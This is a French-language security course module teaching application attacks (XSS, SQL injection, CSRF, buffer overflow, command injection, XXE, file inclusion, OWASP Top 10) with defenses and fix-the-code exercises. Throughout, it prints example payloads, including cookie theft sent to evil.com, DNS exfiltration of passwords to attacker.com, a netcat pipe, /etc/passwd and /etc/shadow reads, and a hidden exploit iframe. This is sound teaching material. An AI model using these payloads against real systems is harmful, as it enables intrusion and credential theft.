Attacking What We Do
Explore les attaques applicatives qui ciblent les applications web et les logiciels que nous utilisons au quotidien : XSS, SQL injection, CSRF, buffer overflow et plus encore.
- Comprendre les attaques XSS et leurs variantes
- Maitriser le fonctionnement de l'injection SQL
- Identifier les attaques CSRF et leurs defenses
- Comprendre le buffer overflow et ses consequences
- Connaitre les autres attaques applicatives courantes
- Decouvrir le classement OWASP Top 10
πΈοΈ 17.1 β Cross-Site Scripting (XSS)
Le Cross-Site Scripting (XSS) est une vulnerabilite qui permet a un attaquant d'injecter du code JavaScript malveillant dans une page web vue par d'autres utilisateurs. C'est l'une des vulnerabilites web les plus repandues.
Imagine un tableau d'affichage dans une ecole. Normalement, les eleves y collent des annonces. Mais un eleve malveillant colle un message qui contient un QR code piege : quiconque le scanne est redirige vers un site malveillant. Le XSS, c'est pareil : l'attaquant "colle" du code malveillant sur un site legitime, et les visiteurs l'executent sans le savoir.
Les trois types de XSS
Stored XSS (XSS persistant)
Le code malveillant est stocke de maniere permanente sur le serveur (base de donnees, commentaire, profil). Chaque visiteur qui charge la page execute le script.
Exemple :
Un attaquant poste un commentaire sur un forum :
Super article !<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Quand un utilisateur consulte la page, le script s'execute dans son navigateur et envoie ses cookies (session) a l'attaquant.
Impact :
- Vol de cookies de session (session hijacking)
- Redirection vers des sites malveillants
- Modification du contenu de la page (defacement)
- Keylogging dans le navigateur
Reflected XSS (XSS reflechi)
Le code malveillant est inclus dans une requete (URL, formulaire) et reflete dans la reponse du serveur sans etre stocke. La victime doit cliquer sur un lien piege.
Exemple :
Un site de recherche affiche le terme cherche dans la page :
https://shop.com/search?q=<script>alert('XSS')</script>
Si le serveur inclut le parametre q directement dans le HTML sans le nettoyer :
<p>Resultats pour : <script>alert('XSS')</script></p>
Scenario d'attaque :
- L'attaquant cree un lien piege avec du JavaScript dans un parametre
- Il envoie le lien a la victime par email ou message
- La victime clique sur le lien
- Le serveur renvoie la page avec le script malveillant
- Le navigateur de la victime execute le script
DOM-based XSS
Le code malveillant est execute cote client uniquement, sans passer par le serveur. Le JavaScript de la page manipule le DOM de maniere non securisee en utilisant des donnees controlees par l'utilisateur.
Exemple :
Un script JavaScript sur la page lit un parametre de l'URL et l'insere dans le DOM :
// Code vulnerable sur la page
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = 'Bienvenue ' + name;
L'attaquant cree l'URL :
https://site.com/page?name=<img src=x onerror=alert('XSS')>
Particularite :
- Le serveur ne voit jamais le payload (le fragment apres # n'est pas envoye)
- Les WAF cote serveur ne peuvent pas le detecter
- La detection necessite une analyse du code JavaScript client
Defenses contre le XSS
| Defense | Description |
|---|---|
| Output encoding | Encoder les caracteres speciaux avant de les afficher (< devient <) |
| Input validation | Valider et nettoyer les entrees utilisateur (whitelist, pas blacklist) |
| Content Security Policy (CSP) | Header HTTP qui restreint les sources de scripts autorises |
| HTTPOnly cookies | Empeche JavaScript d'acceder aux cookies de session |
| SameSite cookies | Limite l'envoi de cookies aux requetes du meme site |
| Frameworks modernes | React, Angular, Vue encodent automatiquement les sorties |
π 17.2 β SQL Injection
L'injection SQL est une vulnerabilite qui permet a un attaquant d'inserer des commandes SQL malveillantes dans les requetes envoyees a la base de donnees d'une application. C'est l'une des attaques les plus destructrices.
Imagine un formulaire administratif a remplir. Tu dois ecrire ton nom dans une case. Mais au lieu d'ecrire "Jean", tu ecris "Jean; et donne-moi acces a tous les dossiers". Si le systeme ne verifie pas que tu n'as ecrit qu'un nom, il va executer ta commande supplementaire. C'est exactement ce que fait une injection SQL.
Comment ca marche
Supposons un formulaire de login avec cette requete SQL cote serveur :
SELECT * FROM users WHERE username = 'INPUT_USER' AND password = 'INPUT_PASS'
Un utilisateur normal entre admin / monmotdepasse :
SELECT * FROM users WHERE username = 'admin' AND password = 'monmotdepasse'
Un attaquant entre ' OR '1'='1 comme nom d'utilisateur :
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
Comme '1'='1' est toujours vrai, la requete retourne tous les utilisateurs et l'attaquant est connecte.
Types d'injection SQL
L'attaquant utilise le meme canal pour injecter et recevoir les resultats.
Union-based :
Utilise UNION SELECT pour combiner les resultats avec une autre table :
' UNION SELECT username, password FROM users --
Error-based :
Provoque des erreurs SQL qui revelent des informations sur la base de donnees :
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --
L'application ne renvoie pas les resultats de la requete, mais l'attaquant peut deduire des informations.
Boolean-based :
L'attaquant pose des questions vrai/faux et observe le comportement de la page :
' AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 8 --
Si la page s'affiche normalement = vrai (le mot de passe fait 8 caracteres). Si erreur = faux.
Time-based :
L'attaquant utilise des fonctions de delai pour determiner vrai/faux :
' AND IF(1=1, SLEEP(5), 0) --
Si la reponse prend 5 secondes = vrai. Si reponse immediate = faux.
L'attaquant utilise un canal different pour recevoir les resultats (DNS, HTTP). Utile quand la reponse n'est pas visible et que les delais ne sont pas fiables.
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share')) --
La base de donnees fait une requete DNS vers [password].attacker.com, revelant le mot de passe via le DNS de l'attaquant.
Defenses contre l'injection SQL
| Defense | Description | Efficacite |
|---|---|---|
| Parameterized queries / Prepared statements | Separer le code SQL des donnees utilisateur. Le moteur SQL sait que l'entree est une donnee, pas du code. | La defense la plus efficace |
| ORM (Object-Relational Mapping) | Utiliser un ORM (Hibernate, SQLAlchemy, Eloquent) qui genere automatiquement des requetes securisees | Tres efficace |
| Input validation | Valider le type, la longueur et le format des entrees (whitelist) | Couche supplementaire |
| Least privilege | L'utilisateur de la base de donnees ne doit avoir que les permissions minimales | Limite l'impact |
| WAF (Web Application Firewall) | Filtre les requetes contenant des patterns d'injection SQL | Couche de defense (contournable) |
| Stored procedures | Procedures stockees avec des parametres types | Bonne si bien implementees |
# VULNERABLE :
cursor.execute("SELECT * FROM users WHERE name = '" + user_input + "'")
# SECURISE (parameterized query) :
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
π 17.3 β Cross-Site Request Forgery (CSRF)
Le CSRF (prononce "sea-surf") est une attaque qui force un utilisateur authentifie a executer des actions non desirees sur une application web ou il est connecte.
Imagine que tu es connecte a ta banque en ligne. Pendant que tu navigues sur un autre site, ce site contient un formulaire invisible qui envoie automatiquement une requete de virement a ta banque. Comme tu es deja connecte (ton cookie de session est valide), la banque execute le virement sans que tu le saches.
Mecanisme de l'attaque
L'utilisateur se connecte a son application bancaire. Le navigateur stocke le cookie de session.
L'utilisateur visite un autre site (forum, email HTML, page web) qui contient du code malveillant.
Le code piege genere une requete vers la banque. Le navigateur ajoute automatiquement le cookie de session :
<img src="https://bank.com/transfer?to=attacker&amount=5000" />
Ou via un formulaire invisible auto-soumis :
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>
La banque recoit la requete avec un cookie de session valide. Elle ne peut pas distinguer cette requete d'une requete legitime et execute le virement.
Defenses contre le CSRF
| Defense | Description |
|---|---|
| CSRF Token (Anti-CSRF Token) | Un token unique et aleatoire genere par le serveur, inclus dans chaque formulaire. Le site piege ne peut pas connaitre ce token. |
| SameSite Cookie | L'attribut SameSite=Strict ou SameSite=Lax sur les cookies empeche leur envoi lors de requetes cross-site. |
| Verifier le header Origin/Referer | Le serveur verifie que la requete provient bien de son propre domaine. |
| Re-authentification | Demander le mot de passe pour les actions sensibles (changement d'email, virement). |
| CAPTCHA | Pour les actions critiques, un CAPTCHA prouve l'interaction humaine. |
π 17.4 β Buffer Overflow
Un buffer overflow (depassement de tampon) se produit quand un programme ecrit des donnees au-dela de la memoire allouee pour un buffer (tampon), ecrasant les donnees adjacentes en memoire.
Imagine un cahier ou chaque case est etiquetee. Tu as une case de 10 lignes pour ecrire ta reponse. Mais tu ecris 20 lignes, debordant sur la case suivante qui contenait les instructions du professeur. En ecrasant ces instructions, tu les remplaces par les tiennes. Le buffer overflow, c'est exactement ca : ecrire au-dela des limites prevues pour ecraser les instructions du programme (l'adresse de retour) et prendre le controle.
Stack Overflow
L'adresse ou le programme doit continuer apres la fonction en cours. C'est la cible de l'attaquant.
Pointeur de base de la frame precedente, ecrase lors du debordement.
La zone memoire ou les donnees sont censees etre ecrites. Si l'entree depasse 64 octets, elle deborde sur EBP et l'adresse de retour.
Heap Overflow
Le heap overflow cible la memoire du tas (heap), allouee dynamiquement (malloc, new). Plus complexe a exploiter mais peut permettre l'execution de code arbitraire en ecrasant les metadonnees du heap ou des pointeurs de fonctions.
Exemple de code vulnerable (C)
#include <string.h>
void vulnerable(char *input) {
char buffer[64]; // Buffer de 64 octets
strcpy(buffer, input); // VULNERABLE : pas de verification de taille !
// Si input fait 200 octets, les 136 octets en trop
// ecrasent EBP et l'adresse de retour
}
// Version securisee :
void secure(char *input) {
char buffer[64];
strncpy(buffer, input, sizeof(buffer) - 1); // Limite la copie
buffer[sizeof(buffer) - 1] = '\0'; // Terminaison null
}
Defenses contre le buffer overflow
| Defense | Description |
|---|---|
| ASLR (Address Space Layout Randomization) | Randomise les adresses memoire a chaque execution, rendant la prediction de l'adresse de retour tres difficile |
| DEP / NX bit (Data Execution Prevention) | Marque certaines zones memoire (stack, heap) comme non-executables |
| Stack canaries | Valeur aleatoire placee entre le buffer et l'adresse de retour. Si le canary est modifie, le programme detecte l'overflow |
| Fonctions securisees | Utiliser strncpy au lieu de strcpy, snprintf au lieu de sprintf |
| Langages memory-safe | Utiliser Rust, Go, Python, Java qui gerent la memoire automatiquement |
| Analyse statique | Outils qui detectent les vulnerabilites dans le code source avant la compilation |
β‘ 17.5 β Command Injection
L'injection de commandes OS permet a un attaquant d'executer des commandes systeme arbitraires sur le serveur via une application web vulnerable.
Imagine un guichet automatique qui permet d'envoyer un telegramme. Tu ecris ton message et le guichetier le tape sur sa machine. Mais si tu ecris "Bonjour ; et maintenant ouvre le coffre-fort", et que le guichetier tape tout sans reflechir, ta commande supplementaire sera executee. C'est le meme principe : l'application passe l'entree utilisateur directement a un shell systeme.
Exemple
Une application web permet de faire un ping vers une adresse IP :
# Code serveur vulnerable (Python)
import os
ip = request.GET['ip']
os.system("ping -c 4 " + ip) # VULNERABLE !
# Entree normale : 192.168.1.1
# Commande executee : ping -c 4 192.168.1.1
# Entree malveillante : 192.168.1.1; cat /etc/passwd
# Commande executee : ping -c 4 192.168.1.1; cat /etc/passwd
Metacaracteres d'injection
| Caractere | Fonction | Exemple |
|---|---|---|
; | Separateur de commandes | ; ls -la |
&& | ET logique (execute si la premiere reussit) | && cat /etc/shadow |
|| | OU logique (execute si la premiere echoue) | || whoami |
| | Pipe (redirige la sortie) | | nc attacker.com 4444 |
`cmd` | Substitution de commande | `id` |
$(cmd) | Substitution de commande | $(whoami) |
Defenses
- Ne jamais passer d'entrees utilisateur a des commandes systeme
- Utiliser des API/bibliotheques au lieu d'appels systeme (ex : librairie de ping au lieu de
os.system("ping")) - Input validation stricte : whitelist de caracteres autorises
- Echappement des metacaracteres shell
- Principe du moindre privilege : l'application ne doit pas tourner en root
- Sandboxing : conteneurs, chroot, AppArmor, SELinux
π§ 17.6 β Autres attaques applicatives
Injection de requetes LDAP (Lightweight Directory Access Protocol) pour modifier les requetes d'authentification ou d'interrogation de l'annuaire.
Exemple :
// Requete LDAP normale :
(&(uid=admin)(password=secret))
// Injection : username = admin)(&)
// Requete resultante :
(&(uid=admin)(&))(password=anything))
// Le filtre (&) est toujours vrai, bypass du mot de passe
Defense :
- Echapper les caracteres speciaux LDAP :
( ) \ * / NUL - Validation stricte des entrees
- Utiliser des frameworks LDAP qui echappent automatiquement
L'XML External Entity (XXE) injection exploite les parseurs XML qui traitent les entites externes. L'attaquant peut lire des fichiers locaux, effectuer des SSRF ou provoquer un DoS.
Exemple de payload XXE :
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>
Le parseur remplace &xxe; par le contenu de /etc/passwd.
Defense :
- Desactiver le traitement des entites externes dans le parseur XML
- Utiliser des formats plus simples (JSON) quand possible
- Valider et nettoyer le XML recu
L'attaquant manipule les chemins de fichiers pour acceder a des fichiers en dehors du repertoire prevu.
Exemple :
// URL normale :
https://site.com/files?name=report.pdf
// Attaque :
https://site.com/files?name=../../../etc/passwd
// Le serveur execute : open("/var/www/files/../../../etc/passwd")
Defense :
- Valider le chemin apres resolution (canonical path)
- Whitelist de fichiers ou de repertoires autorises
- Chroot ou sandboxing du systeme de fichiers
- Ne jamais utiliser directement les entrees utilisateur dans les chemins
L'application inclut dynamiquement un fichier base sur une entree utilisateur.
LFI β Local File Inclusion :
// URL : https://site.com/page?file=about.php
// Code PHP : include($_GET['file']);
// Attaque LFI :
https://site.com/page?file=../../../etc/passwd
// Inclut un fichier local du serveur
RFI β Remote File Inclusion :
// Attaque RFI :
https://site.com/page?file=https://evil.com/shell.php
// Inclut un fichier distant heberge par l'attaquant
RFI est plus dangereux car l'attaquant controle entierement le fichier inclus (webshell, backdoor).
Defense :
- Desactiver
allow_url_includeen PHP - Whitelist de fichiers autorises pour l'inclusion
- Ne jamais utiliser directement les entrees utilisateur dans les fonctions include
- Desactiver les wrappers PHP dangereux (
php://,data://)
π 17.7 β OWASP Top 10
L'OWASP (Open Worldwide Application Security Project) publie un classement des 10 risques de securite les plus critiques pour les applications web. Ce classement est la reference mondiale pour la securite applicative.
| # | Categorie (OWASP 2021) | Description | Exemples d'attaques |
|---|---|---|---|
| A01 | Broken Access Control | Les restrictions sur ce que les utilisateurs authentifies peuvent faire ne sont pas correctement appliquees | Acces a des ressources d'autres utilisateurs, elevation de privileges, IDOR |
| A02 | Cryptographic Failures | Echecs lies a la cryptographie, exposant des donnees sensibles | Donnees transmises en clair, algorithmes obsoletes (MD5, SHA1), cles faibles |
| A03 | Injection | Des donnees non fiables sont envoyees a un interpreteur comme partie d'une commande | SQL injection, XSS, command injection, LDAP injection |
| A04 | Insecure Design | Faiblesses de conception et d'architecture, pas seulement d'implementation | Absence de threat modeling, manque de defense en profondeur |
| A05 | Security Misconfiguration | Configurations par defaut, incompletes ou non securisees | Pages d'erreur detaillees, services inutiles actifs, headers manquants |
| A06 | Vulnerable and Outdated Components | Utilisation de composants avec des vulnerabilites connues | Librairies non patchees, frameworks obsoletes (Log4Shell, Struts) |
| A07 | Identification and Authentication Failures | Faiblesses dans l'authentification et la gestion des sessions | Mots de passe faibles, absence de MFA, session fixation |
| A08 | Software and Data Integrity Failures | Le code et l'infrastructure ne sont pas proteges contre les modifications non autorisees | CI/CD pipeline compromise, deserialization non securisee, supply chain attack |
| A09 | Security Logging and Monitoring Failures | Journalisation et surveillance insuffisantes pour detecter les attaques | Logs absents, alertes non configurees, pas de detection d'intrusion |
| A10 | Server-Side Request Forgery (SSRF) | L'application effectue des requetes vers des URL fournies par l'utilisateur sans validation | Acces a des services internes, lecture de metadonnees cloud (169.254.169.254) |
π¬ 17.8 β Exercice : Identifier la vulnerabilite
Pour chaque extrait de code ci-dessous, identifie la vulnerabilite presente et propose un correctif. Clique pour reveler la reponse.
<?php
$comment = $_GET['comment'];
echo "<p>Votre commentaire : " . $comment . "</p>";
?>
Vulnerabilite : Reflected XSS
Le parametre comment est directement insere dans le HTML sans encodage. Un attaquant peut injecter du JavaScript.
Correctif :
echo "<p>Votre commentaire : " . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . "</p>";
username = request.form['username']
password = request.form['password']
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)
Vulnerabilite : SQL Injection
Les entrees utilisateur sont concatenees directement dans la requete SQL sans aucune protection.
Correctif :
query = "SELECT * FROM users WHERE username=%s AND password=%s"
cursor.execute(query, (username, password))
import os
target = request.args.get('host')
result = os.popen("nslookup " + target).read()
return result
Vulnerabilite : Command Injection
L'entree host est passee directement a une commande systeme. Un attaquant peut injecter : google.com; cat /etc/passwd
Correctif :
import subprocess, shlex
target = request.args.get('host')
# Validation
if not re.match(r'^[a-zA-Z0-9.-]+$', target):
return "Invalid hostname"
result = subprocess.run(["nslookup", target], capture_output=True, text=True)
return result.stdout
<?php
$page = $_GET['page'];
include($page . '.php');
?>
Vulnerabilite : Local/Remote File Inclusion (LFI/RFI)
L'entree utilisateur determine quel fichier est inclus. Un attaquant peut utiliser ?page=../../../etc/passwd%00 (LFI) ou ?page=https://evil.com/shell (RFI).
Correctif :
$allowed_pages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
include('404.php');
}
void process_input(char *user_input) {
char buffer[128];
strcpy(buffer, user_input);
printf("Received: %s\n", buffer);
}
Vulnerabilite : Buffer Overflow
strcpy ne verifie pas la taille de l'entree. Si user_input depasse 128 octets, il ecrase la memoire adjacente (EBP, adresse de retour).
Correctif :
void process_input(char *user_input) {
char buffer[128];
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
printf("Received: %s\n", buffer);
}
<form action="/transfer" method="POST">
<input type="text" name="to" placeholder="Destinataire">
<input type="number" name="amount" placeholder="Montant">
<button type="submit">Envoyer</button>
</form>
Vulnerabilite : CSRF (Cross-Site Request Forgery)
Le formulaire n'a pas de token CSRF. Un site malveillant peut soumettre ce formulaire automatiquement si l'utilisateur est connecte.
Correctif :
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a8f3k2j5...">
<input type="text" name="to" placeholder="Destinataire">
<input type="number" name="amount" placeholder="Montant">
<button type="submit">Envoyer</button>
</form>
π 17.9 β Quiz de revision
π¬ 17.7 β Lab : Detection d'attaques applicatives
Analyse des logs de serveur web pour identifier les attaques applicatives. Tape les commandes pour examiner les requetes suspectes.
Exercice : classe chaque attaque dans sa categorie OWASP
πΌοΈ 17.8 β Attaques par iFrame et exploitation HTTP
Le protocole HTTP est la cible de nombreuses attaques qui exploitent les fonctionnalites legitimes des navigateurs web.
Attaques par iFrame malveillant
Un iFrame (inline frame) est un element HTML qui permet d'embarquer une page web a l'interieur d'une autre. Les attaquants injectent des iFrames invisibles dans des sites web legitimes compromis pour :
- Charger du malware : l'iFrame charge silencieusement une page malveillante qui exploite des vulnerabilites du navigateur
- Voler des credentials : un faux formulaire de login est affiche par-dessus le vrai
- Miner de la cryptomonnaie : l'iFrame charge un script de cryptojacking
- Rediriger vers des kits d'exploitation : l'utilisateur est redirige vers un serveur qui teste des exploits
<!-- iFrame invisible injecte dans un site legitime -->
<iframe src="http://malicious-server.com/exploit.html"
width="0" height="0"
style="display:none; visibility:hidden;">
</iframe>
<!-- L'utilisateur ne voit rien mais son navigateur -->
<!-- charge la page malveillante en arriere-plan -->
Autres attaques HTTP
| Attaque | Principe | Defense |
|---|---|---|
| iFrame injection | Injection d'iFrames cachees dans des pages web compromises | CSP (Content-Security-Policy), X-Frame-Options header |
| Clickjacking | Superposition d'un iFrame transparent sur des boutons legitimes | X-Frame-Options: DENY, CSP frame-ancestors |
| HTTP Response Splitting | Injection de headers HTTP pour manipuler les reponses | Validation des entrees, WAF |
| Session Fixation | Forcer un ID de session connu a la victime | Regenerer le session ID apres login |
Content-Security-Policy qui controle quelles sources de contenu peuvent etre chargees par le navigateur.
Points cles du Module 17
- Le XSS injecte du JavaScript malveillant ; il existe en 3 variantes : Stored (le plus dangereux), Reflected et DOM-based
- L'injection SQL insere des commandes SQL via les entrees utilisateur ; les prepared statements sont la defense principale
- Le CSRF force un utilisateur authentifie a executer des actions non desirees ; les tokens CSRF et SameSite cookies sont les defenses
- Le buffer overflow ecrit au-dela de la memoire allouee pour ecraser l'adresse de retour ; ASLR, DEP/NX et stack canaries protegent
- La command injection execute des commandes OS via l'application ; ne jamais passer les entrees utilisateur a des commandes systeme
- Les autres attaques incluent LDAP injection, XXE, directory traversal et file inclusion (LFI/RFI)
- L'OWASP Top 10 est la reference mondiale pour les risques de securite applicative
- La defense en profondeur combine input validation, output encoding, least privilege et security headers